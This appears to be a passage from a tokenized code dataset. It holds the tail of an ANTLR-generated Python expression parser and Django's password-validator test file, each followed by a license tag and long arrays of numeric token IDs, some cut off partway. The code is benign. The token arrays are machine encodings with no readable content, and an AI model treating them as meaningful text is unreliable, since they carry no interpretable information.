47, 61, 75, 100, 121, 126, 132]) FOLLOW_atom_in_param_decl1179 = frozenset([1]) FOLLOW_108_in_class_decl1192 = frozenset([34]) FOLLOW_ID_in_class_decl1194 = frozenset([113, 132]) FOLLOW_113_in_class_decl1197 = frozenset([34]) FOLLOW_ID_in_class_decl1199 = frozenset([132]) FOLLOW_132_in_class_decl1205 = frozenset([117, 124, 136]) FOLLOW_class_element_in_class_decl1207 = frozenset([117, 124, 136]) FOLLOW_136_in_class_decl1210 = frozenset([1]) FOLLOW_var_def_in_class_element1236 = frozenset([1]) FOLLOW_constructor_in_class_element1240 = frozenset([1]) FOLLOW_func_decl_in_class_element1244 = frozenset([1]) FOLLOW_124_in_var_def1254 = frozenset([34]) FOLLOW_ID_in_var_def1256 = frozenset([92, 95]) FOLLOW_95_in_var_def1259 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_var_def1261 = frozenset([92]) FOLLOW_92_in_var_def1265 = frozenset([1]) FOLLOW_124_in_var_def1283 = frozenset([127]) FOLLOW_127_in_var_def1285 = frozenset([34]) FOLLOW_ID_in_var_def1287 = frozenset([92, 95]) FOLLOW_95_in_var_def1290 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_var_def1292 = frozenset([92]) FOLLOW_92_in_var_def1296 = frozenset([1]) FOLLOW_117_in_constructor1321 = frozenset([120]) FOLLOW_120_in_constructor1323 = frozenset([75]) FOLLOW_params_in_constructor1325 = frozenset([132]) FOLLOW_block_in_constructor1327 = frozenset([1]) FOLLOW_primary_in_member_expr1354 = frozenset([1, 86]) FOLLOW_86_in_member_expr1357 = frozenset([34]) FOLLOW_primary_in_member_expr1359 = frozenset([1, 86]) FOLLOW_ID_in_primary1382 = frozenset([1, 75, 100]) FOLLOW_index_expr_in_primary1384 = frozenset([1, 75, 100]) FOLLOW_call_expr_in_primary1387 = frozenset([1]) FOLLOW_75_in_call_expr1398 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 76, 83, 100, 121, 126, 132]) FOLLOW_expr_list_in_call_expr1400 = frozenset([76]) FOLLOW_76_in_call_expr1403 = frozenset([1]) FOLLOW_100_in_index_expr1439 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_index_expr1441 = frozenset([101]) FOLLOW_101_in_index_expr1443 = frozenset([1]) FOLLOW_100_in_index_expr1458 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_index_expr1460 = frozenset([88]) FOLLOW_88_in_index_expr1462 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 101, 121, 126, 132]) FOLLOW_expr_in_index_expr1464 = frozenset([101]) FOLLOW_101_in_index_expr1467 = frozenset([1]) FOLLOW_exec_expr_in_exec_list1492 = frozenset([1, 82]) FOLLOW_82_in_exec_list1495 = frozenset([34, 80, 84]) FOLLOW_exec_expr_in_exec_list1497 = frozenset([1, 82]) FOLLOW_member_expr_in_member_list1520 = frozenset([1, 82]) FOLLOW_82_in_member_list1523 = frozenset([34]) FOLLOW_member_expr_in_member_list1525 = frozenset([1, 82]) FOLLOW_member_expr_in_exec_expr1537 = frozenset([1, 71, 74, 78, 80, 81, 84, 85, 90, 95, 103, 134]) FOLLOW_assign_op_in_exec_expr1542 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_exec_expr1544 = frozenset([1]) FOLLOW_80_in_exec_expr1565 = frozenset([1]) FOLLOW_84_in_exec_expr1582 = frozenset([1]) FOLLOW_80_in_exec_expr1613 = frozenset([34]) FOLLOW_member_expr_in_exec_expr1615 = frozenset([1]) FOLLOW_84_in_exec_expr1630 = frozenset([34]) FOLLOW_member_expr_in_exec_expr1632 = frozenset([1]) FOLLOW_exec_list_in_exec_stmt1678 = frozenset([92]) FOLLOW_92_in_exec_stmt1680 = frozenset([1]) FOLLOW_expr_in_expr_list1703 = frozenset([1, 82]) FOLLOW_82_in_expr_list1706 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_expr_list1708 = frozenset([1, 82]) FOLLOW_82_in_expr_list1712 = frozenset([1]) FOLLOW_logic_or_expr_in_expr1734 = frozenset([1]) FOLLOW_logic_and_expr_in_logic_or_expr1744 = frozenset([1, 135]) FOLLOW_135_in_logic_or_expr1747 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_logic_and_expr_in_logic_or_expr1750 = frozenset([1, 135]) FOLLOW_bitwise_or_expr_in_logic_and_expr1762 = frozenset([1, 72]) FOLLOW_72_in_logic_and_expr1765 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_bitwise_or_expr_in_logic_and_expr1768 = frozenset([1, 72]) FOLLOW_bitwise_xor_expr_in_bitwise_or_expr1780 = frozenset([1, 133]) FOLLOW_133_in_bitwise_or_expr1783 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_bitwise_xor_expr_in_bitwise_or_expr1786 = frozenset([1, 133]) FOLLOW_bitwise_and_expr_in_bitwise_xor_expr1798 = frozenset([1, 102]) FOLLOW_102_in_bitwise_xor_expr1801 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_bitwise_and_expr_in_bitwise_xor_expr1804 = frozenset([1, 102]) FOLLOW_relation_expr_in_bitwise_and_expr1816 = frozenset([1, 73]) FOLLOW_73_in_bitwise_and_expr1819 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_relation_expr_in_bitwise_and_expr1822 = frozenset([1, 73]) FOLLOW_add_expr_in_relation_expr1834 = frozenset([1, 69, 93, 94, 96, 98, 99]) FOLLOW_set_in_relation_expr1837 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_add_expr_in_relation_expr1852 = frozenset([1]) FOLLOW_mul_expr_in_add_expr1864 = frozenset([1, 79, 83]) FOLLOW_set_in_add_expr1867 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_mul_expr_in_add_expr1874 = frozenset([1, 79, 83]) FOLLOW_not_expr_in_mul_expr1886 = frozenset([1, 70, 77, 89]) FOLLOW_set_in_mul_expr1889 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_not_expr_in_mul_expr1898 = frozenset([1, 70, 77, 89]) FOLLOW_68_in_not_expr1912 = frozenset([8, 30, 34, 39, 47, 61, 75, 83, 100, 121, 126, 132]) FOLLOW_negative_expr_in_not_expr1915 = frozenset([1]) FOLLOW_83_in_negative_expr1950 = frozenset([8, 30, 34, 39, 47, 61, 75, 100, 121, 126, 132]) FOLLOW_atom_in_negative_expr1954 = frozenset([1]) FOLLOW_literal_in_atom1987 = frozenset([1]) FOLLOW_member_expr_in_atom1992 = frozenset([1]) FOLLOW_array_decl_in_atom1997 = frozenset([1]) FOLLOW_object_decl_in_atom2002 = frozenset([1]) FOLLOW_new_clause_in_atom2007 = frozenset([1]) FOLLOW_sprintf_in_atom2012 = frozenset([1]) FOLLOW_75_in_atom2017 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_atom2019 = frozenset([76]) FOLLOW_76_in_atom2021 = frozenset([1]) FOLLOW_121_in_new_clause2062 = frozenset([34]) FOLLOW_module_in_new_clause2064 = frozenset([75]) FOLLOW_call_expr_in_new_clause2066 = frozenset([1]) FOLLOW_ID_in_module2088 = frozenset([1, 86]) FOLLOW_86_in_module2091 = frozenset([34]) FOLLOW_ID_in_module2093 = frozenset([1, 86]) FOLLOW_100_in_array_decl2118 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 101, 121, 126, 132]) FOLLOW_expr_list_in_array_decl2120 = frozenset([101]) FOLLOW_101_in_array_decl2123 = frozenset([1]) FOLLOW_132_in_object_decl2145 = frozenset([34, 39, 61, 82, 136]) FOLLOW_property_in_object_decl2147 = frozenset([82, 136]) FOLLOW_82_in_object_decl2151 = frozenset([34, 39, 61]) FOLLOW_property_in_object_decl2153 = frozenset([82, 136]) FOLLOW_82_in_object_decl2157 = frozenset([136]) FOLLOW_136_in_object_decl2160 = frozenset([1]) FOLLOW_set_in_property2181 = frozenset([91]) FOLLOW_91_in_property2193 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_property2195 = frozenset([1]) FOLLOW_126_in_sprintf2207 = frozenset([75]) FOLLOW_75_in_sprintf2209 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_sprintf2211 = frozenset([76, 82]) FOLLOW_82_in_sprintf2214 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_list_in_sprintf2216 = frozenset([76]) FOLLOW_76_in_sprintf2220 = frozenset([1]) FOLLOW_100_in_synpred1_Expr1439 = frozenset([8, 30, 34, 39, 47, 61, 68, 75, 83, 100, 121, 126, 132]) FOLLOW_expr_in_synpred1_Expr1441 = frozenset([101]) FOLLOW_101_in_synpred1_Expr1443 = frozenset([1]) def main(argv, stdin=sys.stdin, stdout=sys.stdout, stderr=sys.stderr): from antlr3.main import ParserMain main = ParserMain("ExprLexer", ExprParser) main.stdin = stdin main.stdout = stdout main.stderr = stderr main.execute(argv) if __name__ == '__main__': main(sys.argv)
bsd-3-clause
[ 3, 2672, 1441, 17665, 650, 14, 21, 14754, 14, 71, 6171, 13, 966, 13, 713, 5851, 26, 1081, 26, 1194, 199, 199, 646, 984, 199, 504, 27384, 7493, 19, 492, 627, 199, 504, 27384, 7493, 19, 14, 5819, 492, 663, 12, 9522, 199, 199, 504, 27384, 7493, 19, 14, 2350, 492, 627, 6905, 199, 3, 367, 16777, 315, 5445, 199, 40, 22436, 275, 3523, 497, 6862, 1793, 14, 40, 22436, 199, 199, 3, 1526, 2943, 199, 13178, 4022, 17, 199, 52, 363, 2333, 29, 2333, 199, 52, 363, 1876, 29, 1876, 199, 52, 363, 2760, 29, 2760, 199, 52, 363, 3172, 29, 3172, 199, 52, 363, 2819, 29, 2819, 199, 52, 363, 2898, 29, 2898, 199, 52, 363, 1342, 29, 1342, 199, 52, 363, 2194, 29, 2194, 199, 52, 363, 2114, 29, 2114, 199, 52, 363, 1138, 29, 1138, 199, 52, 363, 2277, 29, 2277, 199, 52, 363, 1965, 29, 1965, 199, 52, 363, 1257, 29, 1257, 199, 52, 363, 2835, 29, 2835, 199, 52, 363, 2564, 29, 2564, 199, 52, 363, 2658, 29, 2658, 199, 52, 363, 1349, 29, 1349, 199, 52, 363, 2426, 29, 2426, 199, 52, 363, 1184, 29, 1184, 199, 52, 363, 1555, 29, 1555, 199, 52, 363, 1299, 29, 1299, 199, 52, 363, 1407, 29, 1407, 199, 52, 363, 2710, 29, 2710, 199, 52, 363, 3328, 29, 3328, 199, 52, 363, 2942, 29, 2942, 199, 52, 363, 3129, 29, 3129, 199, 52, 363, 2635, 29, 2635, 199, 52, 363, 2720, 29, 2720, 199, 52, 363, 2534, 29, 2534, 199, 52, 363, 2576, 29, 2576, 199, 52, 363, 2905, 29, 2905, 199, 52, 363, 1020, 29, 1020, 199, 52, 363, 1960, 29, 1960, 199, 52, 363, 4893, 29, 4893, 199, 52, 363, 7759, 29, 7759, 199, 52, 363, 8845, 29, 8845, 199, 52, 363, 6785, 29, 6785, 199, 52, 363, 7320, 29, 7320, 199, 52, 363, 7357, 29, 7357, 199, 52, 363, 7555, 29, 7555, 199, 52, 363, 8079, 29, 8079, 199, 52, 363, 6996, 29, 6996, 199, 52, 363, 6019, 29, 6019, 199, 52, 363, 6673, 29, 6673, 199, 52, 363, 6094, 29, 6094, 199, 52, 363, 9225, 29, 9225, 199, 52, 363, 7636, 29, 7636, 199, 52, 363, 7680, 29, 7680, 199, 52, 363, 7524, 29, 7524, 199, 52, 363, 7362, 29, 7362, 199, 52, 363, 7906, 29, 7906, 199, 52, 363, 7119, 29, 7119, 199, 52, 363, 6708, 29, 6708, 199, 52, 363, 10753, 29, 10753, 199, 52, 363, 7507, 29, 7507, 199, 52, 363, 4288, 29, 4288, 199, 52, 363, 7214, 29, 7214, 199, 52, 363, 6889, 29, 6889, 199, 52, 363, 7957, 29, 7957, 199, 52, 363, 4195, 29, 4195, 199, 52, 363, 3933, 29, 3933, 199, 52, 363, 7263, 29, 7263, 199, 52, 363, 9056, 29, 9056, 199, 52, 363, 11780, 29, 11780, 199, 52, 363, 6557, 29, 6557, 199, 52, 363, 10456, 29, 10456, 199, 52, 363, 7582, 29, 7582, 199, 52, 363, 8312, 29, 8312, 199, 52, 363, 8138, 29, 8138, 199, 18554, 29, 20, 199, 12322, 29, 21, 199, 23680, 29, 22, 199, 8475, 29, 23, 199, 16026, 29, 24, 199, 14731, 29, 25, 199, 11978, 29, 709, 199, 11320, 29, 845, 199, 35, 8078, 29, 713, 199, 6885, 29, 969, 199, 10973, 29, 1079, 199, 1864, 8893, 726, 29, 1046, 199, 26663, 4187, 29, 975, 199, 3472, 29, 1196, 199, 36, 6995, 29, 1085, 199, 14989, 63, 18495, 63, 16326, 29, 1167, 199, 1649, 63, 9792, 8453, 29, 1165, 199, 11765, 1244, 29, 2025, 199, 11765, 1244, 63, 3204, 29, 1081, 199, 2901, 899, 29, 1789, 199, 2901, 899, 63, 4656, 29, 1194, 199, 13993, 63, 6174, 29, 821, 199, 10276, 63, 4924, 29, 1479, 199, 10276, 63, 840, 5747, 29, 1465, 199, 1438, 3311, 63, 4924, 29, 1651, 199, 17383, 28292, 29, 1398, 199, 11783, 29, 1216, 199, 2707, 29, 2192, 199, 2707, 11765, 1244, 29, 708, 199, 15476, 29, 1153, 199, 998, 29, 1082, 199, 998, 63, 4924, 29, 1276, 199, 4656, 29, 1344, 199, 17576, 29, 1401, 199, 10215, 29, 1703, 199, 2919, 29, 1355, 199, 6174, 10973, 29, 2167, 199, 26682, 29, 2953, 199, 10001, 29, 2260, 199, 46, 23651, 29, 2824, 199, 11365, 29, 1602, 199, 28758, 29, 2322, 199, 46, 1938, 29, 2466, 199, 8084, 29, 2417, 199, 9868, 29, 2006, 199, 1938, 63, 23680, 29, 1887, 199, 17978, 29, 1400, 199, 4030, 63, 16387, 29, 2869, 199, 4030, 63, 25205, 29, 2528, 199, 4225, 63, 16387, 29, 2481, 199, 4225, 63, 25205, 29, 1477, 199, 21754, 29, 1229, 199, 21754, 38, 29, 1367, 199, 9677, 29, 1641, 199, 16425, 63, 18495, 63, 16326, 29, 2010, 199, 51, 2507, 37, 29, 1427, 199, 51, 21754, 38, 29, 2259, 199, 5353, 29, 2976, 199, 18079, 29, 2789, 199, 2080, 11415, 29, 2766, 199, 21177, 29, 772, 199, 5568, 29, 2182, 199, 9792, 8453, 29, 1272, 199, 5035, 29, 1822, 199, 199, 3, 1526, 1561, 199, 1418, 5866, 275, 359, 272, 3886, 3197, 7166, 3886, 37, 726, 7166, 3886, 8819, 7166, 3886, 2160, 7166, 272, 298, 18554, 401, 298, 12322, 401, 298, 23680, 401, 298, 8475, 401, 298, 16026, 401, 298, 14731, 401, 298, 11978, 401, 298, 11320, 401, 5591, 298, 35, 8078, 401, 298, 6885, 401, 298, 10973, 401, 298, 1864, 8893, 726, 401, 298, 26663, 4187, 401, 298, 3472, 401, 298, 36, 6995, 401, 5591, 298, 14989, 63, 18495, 63, 16326, 401, 298, 1649, 63, 9792, 8453, 401, 298, 11765, 1244, 401, 298, 11765, 1244, 63, 3204, 401, 298, 2901, 899, 401, 298, 2901, 899, 63, 4656, 401, 5591, 298, 13993, 63, 6174, 401, 298, 10276, 63, 4924, 401, 298, 10276, 63, 840, 5747, 401, 298, 1438, 3311, 63, 4924, 401, 298, 17383, 28292, 401, 298, 11783, 401, 5591, 298, 2707, 401, 298, 2707, 11765, 1244, 401, 298, 15476, 401, 298, 998, 401, 298, 998, 63, 4924, 401, 298, 4656, 401, 298, 17576, 401, 298, 10215, 401, 5591, 298, 2919, 401, 298, 6174, 10973, 401, 298, 26682, 401, 298, 10001, 401, 298, 46, 23651, 401, 298, 11365, 401, 298, 28758, 401, 5591, 298, 46, 1938, 401, 298, 8084, 401, 298, 9868, 401, 298, 1938, 63, 23680, 401, 298, 17978, 401, 298, 4030, 63, 16387 ]
[ 2672, 1441, 17665, 650, 14, 21, 14754, 14, 71, 6171, 13, 966, 13, 713, 5851, 26, 1081, 26, 1194, 199, 199, 646, 984, 199, 504, 27384, 7493, 19, 492, 627, 199, 504, 27384, 7493, 19, 14, 5819, 492, 663, 12, 9522, 199, 199, 504, 27384, 7493, 19, 14, 2350, 492, 627, 6905, 199, 3, 367, 16777, 315, 5445, 199, 40, 22436, 275, 3523, 497, 6862, 1793, 14, 40, 22436, 199, 199, 3, 1526, 2943, 199, 13178, 4022, 17, 199, 52, 363, 2333, 29, 2333, 199, 52, 363, 1876, 29, 1876, 199, 52, 363, 2760, 29, 2760, 199, 52, 363, 3172, 29, 3172, 199, 52, 363, 2819, 29, 2819, 199, 52, 363, 2898, 29, 2898, 199, 52, 363, 1342, 29, 1342, 199, 52, 363, 2194, 29, 2194, 199, 52, 363, 2114, 29, 2114, 199, 52, 363, 1138, 29, 1138, 199, 52, 363, 2277, 29, 2277, 199, 52, 363, 1965, 29, 1965, 199, 52, 363, 1257, 29, 1257, 199, 52, 363, 2835, 29, 2835, 199, 52, 363, 2564, 29, 2564, 199, 52, 363, 2658, 29, 2658, 199, 52, 363, 1349, 29, 1349, 199, 52, 363, 2426, 29, 2426, 199, 52, 363, 1184, 29, 1184, 199, 52, 363, 1555, 29, 1555, 199, 52, 363, 1299, 29, 1299, 199, 52, 363, 1407, 29, 1407, 199, 52, 363, 2710, 29, 2710, 199, 52, 363, 3328, 29, 3328, 199, 52, 363, 2942, 29, 2942, 199, 52, 363, 3129, 29, 3129, 199, 52, 363, 2635, 29, 2635, 199, 52, 363, 2720, 29, 2720, 199, 52, 363, 2534, 29, 2534, 199, 52, 363, 2576, 29, 2576, 199, 52, 363, 2905, 29, 2905, 199, 52, 363, 1020, 29, 1020, 199, 52, 363, 1960, 29, 1960, 199, 52, 363, 4893, 29, 4893, 199, 52, 363, 7759, 29, 7759, 199, 52, 363, 8845, 29, 8845, 199, 52, 363, 6785, 29, 6785, 199, 52, 363, 7320, 29, 7320, 199, 52, 363, 7357, 29, 7357, 199, 52, 363, 7555, 29, 7555, 199, 52, 363, 8079, 29, 8079, 199, 52, 363, 6996, 29, 6996, 199, 52, 363, 6019, 29, 6019, 199, 52, 363, 6673, 29, 6673, 199, 52, 363, 6094, 29, 6094, 199, 52, 363, 9225, 29, 9225, 199, 52, 363, 7636, 29, 7636, 199, 52, 363, 7680, 29, 7680, 199, 52, 363, 7524, 29, 7524, 199, 52, 363, 7362, 29, 7362, 199, 52, 363, 7906, 29, 7906, 199, 52, 363, 7119, 29, 7119, 199, 52, 363, 6708, 29, 6708, 199, 52, 363, 10753, 29, 10753, 199, 52, 363, 7507, 29, 7507, 199, 52, 363, 4288, 29, 4288, 199, 52, 363, 7214, 29, 7214, 199, 52, 363, 6889, 29, 6889, 199, 52, 363, 7957, 29, 7957, 199, 52, 363, 4195, 29, 4195, 199, 52, 363, 3933, 29, 3933, 199, 52, 363, 7263, 29, 7263, 199, 52, 363, 9056, 29, 9056, 199, 52, 363, 11780, 29, 11780, 199, 52, 363, 6557, 29, 6557, 199, 52, 363, 10456, 29, 10456, 199, 52, 363, 7582, 29, 7582, 199, 52, 363, 8312, 29, 8312, 199, 52, 363, 8138, 29, 8138, 199, 18554, 29, 20, 199, 12322, 29, 21, 199, 23680, 29, 22, 199, 8475, 29, 23, 199, 16026, 29, 24, 199, 14731, 29, 25, 199, 11978, 29, 709, 199, 11320, 29, 845, 199, 35, 8078, 29, 713, 199, 6885, 29, 969, 199, 10973, 29, 1079, 199, 1864, 8893, 726, 29, 1046, 199, 26663, 4187, 29, 975, 199, 3472, 29, 1196, 199, 36, 6995, 29, 1085, 199, 14989, 63, 18495, 63, 16326, 29, 1167, 199, 1649, 63, 9792, 8453, 29, 1165, 199, 11765, 1244, 29, 2025, 199, 11765, 1244, 63, 3204, 29, 1081, 199, 2901, 899, 29, 1789, 199, 2901, 899, 63, 4656, 29, 1194, 199, 13993, 63, 6174, 29, 821, 199, 10276, 63, 4924, 29, 1479, 199, 10276, 63, 840, 5747, 29, 1465, 199, 1438, 3311, 63, 4924, 29, 1651, 199, 17383, 28292, 29, 1398, 199, 11783, 29, 1216, 199, 2707, 29, 2192, 199, 2707, 11765, 1244, 29, 708, 199, 15476, 29, 1153, 199, 998, 29, 1082, 199, 998, 63, 4924, 29, 1276, 199, 4656, 29, 1344, 199, 17576, 29, 1401, 199, 10215, 29, 1703, 199, 2919, 29, 1355, 199, 6174, 10973, 29, 2167, 199, 26682, 29, 2953, 199, 10001, 29, 2260, 199, 46, 23651, 29, 2824, 199, 11365, 29, 1602, 199, 28758, 29, 2322, 199, 46, 1938, 29, 2466, 199, 8084, 29, 2417, 199, 9868, 29, 2006, 199, 1938, 63, 23680, 29, 1887, 199, 17978, 29, 1400, 199, 4030, 63, 16387, 29, 2869, 199, 4030, 63, 25205, 29, 2528, 199, 4225, 63, 16387, 29, 2481, 199, 4225, 63, 25205, 29, 1477, 199, 21754, 29, 1229, 199, 21754, 38, 29, 1367, 199, 9677, 29, 1641, 199, 16425, 63, 18495, 63, 16326, 29, 2010, 199, 51, 2507, 37, 29, 1427, 199, 51, 21754, 38, 29, 2259, 199, 5353, 29, 2976, 199, 18079, 29, 2789, 199, 2080, 11415, 29, 2766, 199, 21177, 29, 772, 199, 5568, 29, 2182, 199, 9792, 8453, 29, 1272, 199, 5035, 29, 1822, 199, 199, 3, 1526, 1561, 199, 1418, 5866, 275, 359, 272, 3886, 3197, 7166, 3886, 37, 726, 7166, 3886, 8819, 7166, 3886, 2160, 7166, 272, 298, 18554, 401, 298, 12322, 401, 298, 23680, 401, 298, 8475, 401, 298, 16026, 401, 298, 14731, 401, 298, 11978, 401, 298, 11320, 401, 5591, 298, 35, 8078, 401, 298, 6885, 401, 298, 10973, 401, 298, 1864, 8893, 726, 401, 298, 26663, 4187, 401, 298, 3472, 401, 298, 36, 6995, 401, 5591, 298, 14989, 63, 18495, 63, 16326, 401, 298, 1649, 63, 9792, 8453, 401, 298, 11765, 1244, 401, 298, 11765, 1244, 63, 3204, 401, 298, 2901, 899, 401, 298, 2901, 899, 63, 4656, 401, 5591, 298, 13993, 63, 6174, 401, 298, 10276, 63, 4924, 401, 298, 10276, 63, 840, 5747, 401, 298, 1438, 3311, 63, 4924, 401, 298, 17383, 28292, 401, 298, 11783, 401, 5591, 298, 2707, 401, 298, 2707, 11765, 1244, 401, 298, 15476, 401, 298, 998, 401, 298, 998, 63, 4924, 401, 298, 4656, 401, 298, 17576, 401, 298, 10215, 401, 5591, 298, 2919, 401, 298, 6174, 10973, 401, 298, 26682, 401, 298, 10001, 401, 298, 46, 23651, 401, 298, 11365, 401, 298, 28758, 401, 5591, 298, 46, 1938, 401, 298, 8084, 401, 298, 9868, 401, 298, 1938, 63, 23680, 401, 298, 17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 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
rockneurotiko/django
tests/auth_tests/test_validators.py
229
7546
from __future__ import unicode_literals import os from django.contrib.auth.models import User from django.contrib.auth.password_validation import ( CommonPasswordValidator, MinimumLengthValidator, NumericPasswordValidator, UserAttributeSimilarityValidator, get_default_password_validators, get_password_validators, password_changed, password_validators_help_text_html, password_validators_help_texts, validate_password, ) from django.core.exceptions import ValidationError from django.test import TestCase, override_settings from django.utils._os import upath @override_settings(AUTH_PASSWORD_VALIDATORS=[ {'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator'}, {'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator', 'OPTIONS': { 'min_length': 12, }}, ]) class PasswordValidationTest(TestCase): def test_get_default_password_validators(self): validators = get_default_password_validators() self.assertEqual(len(validators), 2) self.assertEqual(validators[0].__class__.__name__, 'CommonPasswordValidator') self.assertEqual(validators[1].__class__.__name__, 'MinimumLengthValidator') self.assertEqual(validators[1].min_length, 12) def test_get_password_validators_custom(self): validator_config = [{'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator'}] validators = get_password_validators(validator_config) self.assertEqual(len(validators), 1) self.assertEqual(validators[0].__class__.__name__, 'CommonPasswordValidator') self.assertEqual(get_password_validators([]), []) def test_validate_password(self): self.assertIsNone(validate_password('sufficiently-long')) msg_too_short = 'This password is too short. It must contain at least 12 characters.' with self.assertRaises(ValidationError) as cm: validate_password('django4242') self.assertEqual(cm.exception.messages, [msg_too_short]) self.assertEqual(cm.exception.error_list[0].code, 'password_too_short') with self.assertRaises(ValidationError) as cm: validate_password('password') self.assertEqual(cm.exception.messages, ['This password is too common.', msg_too_short]) self.assertEqual(cm.exception.error_list[0].code, 'password_too_common') self.assertIsNone(validate_password('password', password_validators=[])) def test_password_changed(self): self.assertIsNone(password_changed('password')) def test_password_validators_help_texts(self): help_texts = password_validators_help_texts() self.assertEqual(len(help_texts), 2) self.assertIn('12 characters', help_texts[1]) self.assertEqual(password_validators_help_texts(password_validators=[]), []) def test_password_validators_help_text_html(self): help_text = password_validators_help_text_html() self.assertEqual(help_text.count('<li>'), 2) self.assertIn('12 characters', help_text) class MinimumLengthValidatorTest(TestCase): def test_validate(self): expected_error = "This password is too short. It must contain at least %d characters." self.assertIsNone(MinimumLengthValidator().validate('12345678')) self.assertIsNone(MinimumLengthValidator(min_length=3).validate('123')) with self.assertRaises(ValidationError) as cm: MinimumLengthValidator().validate('1234567') self.assertEqual(cm.exception.messages, [expected_error % 8]) self.assertEqual(cm.exception.error_list[0].code, 'password_too_short') with self.assertRaises(ValidationError) as cm: MinimumLengthValidator(min_length=3).validate('12') self.assertEqual(cm.exception.messages, [expected_error % 3]) def test_help_text(self): self.assertEqual( MinimumLengthValidator().get_help_text(), "Your password must contain at least 8 characters." ) class UserAttributeSimilarityValidatorTest(TestCase): def test_validate(self): user = User.objects.create( username='testclient', first_name='Test', last_name='Client', email='testclient@example.com', password='sha1$6efc0$f93efe9fd7542f25a7be94871ea45aa95de57161', ) expected_error = "The password is too similar to the %s." self.assertIsNone(UserAttributeSimilarityValidator().validate('testclient')) with self.assertRaises(ValidationError) as cm: UserAttributeSimilarityValidator().validate('testclient', user=user), self.assertEqual(cm.exception.messages, [expected_error % "username"]) self.assertEqual(cm.exception.error_list[0].code, 'password_too_similar') with self.assertRaises(ValidationError) as cm: UserAttributeSimilarityValidator().validate('example.com', user=user), self.assertEqual(cm.exception.messages, [expected_error % "email address"]) with self.assertRaises(ValidationError) as cm: UserAttributeSimilarityValidator( user_attributes=['first_name'], max_similarity=0.3, ).validate('testclient', user=user) self.assertEqual(cm.exception.messages, [expected_error % "first name"]) self.assertIsNone( UserAttributeSimilarityValidator(user_attributes=['first_name']).validate('testclient', user=user) ) def test_help_text(self): self.assertEqual( UserAttributeSimilarityValidator().get_help_text(), "Your password can't be too similar to your other personal information." ) class CommonPasswordValidatorTest(TestCase): def test_validate(self): expected_error = "This password is too common." self.assertIsNone(CommonPasswordValidator().validate('a-safe-password')) with self.assertRaises(ValidationError) as cm: CommonPasswordValidator().validate('godzilla') self.assertEqual(cm.exception.messages, [expected_error]) def test_validate_custom_list(self): path = os.path.join(os.path.dirname(os.path.realpath(upath(__file__))), 'common-passwords-custom.txt') validator = CommonPasswordValidator(password_list_path=path) expected_error = "This password is too common." self.assertIsNone(validator.validate('a-safe-password')) with self.assertRaises(ValidationError) as cm: validator.validate('from-my-custom-list') self.assertEqual(cm.exception.messages, [expected_error]) self.assertEqual(cm.exception.error_list[0].code, 'password_too_common') def test_help_text(self): self.assertEqual( CommonPasswordValidator().get_help_text(), "Your password can't be a commonly used password." ) class NumericPasswordValidatorTest(TestCase): def test_validate(self): expected_error = "This password is entirely numeric." self.assertIsNone(NumericPasswordValidator().validate('a-safe-password')) with self.assertRaises(ValidationError) as cm: NumericPasswordValidator().validate('42424242') self.assertEqual(cm.exception.messages, [expected_error]) self.assertEqual(cm.exception.error_list[0].code, 'password_entirely_numeric') def test_help_text(self): self.assertEqual( NumericPasswordValidator().get_help_text(), "Your password can't be entirely numeric." )
bsd-3-clause
[ 504, 636, 2443, 363, 492, 2649, 63, 5955, 199, 199, 646, 747, 199, 199, 504, 1639, 14, 2828, 14, 1178, 14, 992, 492, 2876, 199, 504, 1639, 14, 2828, 14, 1178, 14, 2060, 63, 6136, 492, 334, 272, 13964, 6139, 8640, 12, 22466, 4625, 8640, 12, 19378, 6139, 8640, 12, 272, 2876, 1646, 7467, 13093, 8640, 12, 664, 63, 885, 63, 2060, 63, 11346, 12, 272, 664, 63, 2060, 63, 11346, 12, 2505, 63, 2489, 12, 272, 2505, 63, 11346, 63, 3437, 63, 505, 63, 1360, 12, 2505, 63, 11346, 63, 3437, 63, 19517, 12, 272, 4107, 63, 2060, 12, 199, 9, 199, 504, 1639, 14, 1018, 14, 3924, 492, 8505, 199, 504, 1639, 14, 396, 492, 7640, 12, 4278, 63, 1751, 199, 504, 1639, 14, 1208, 423, 736, 492, 1536, 1619, 421, 199, 32, 4415, 63, 1751, 8, 5580, 63, 9032, 63, 5600, 19033, 1524, 272, 791, 2339, 356, 283, 1176, 14, 2828, 14, 1178, 14, 2060, 63, 6136, 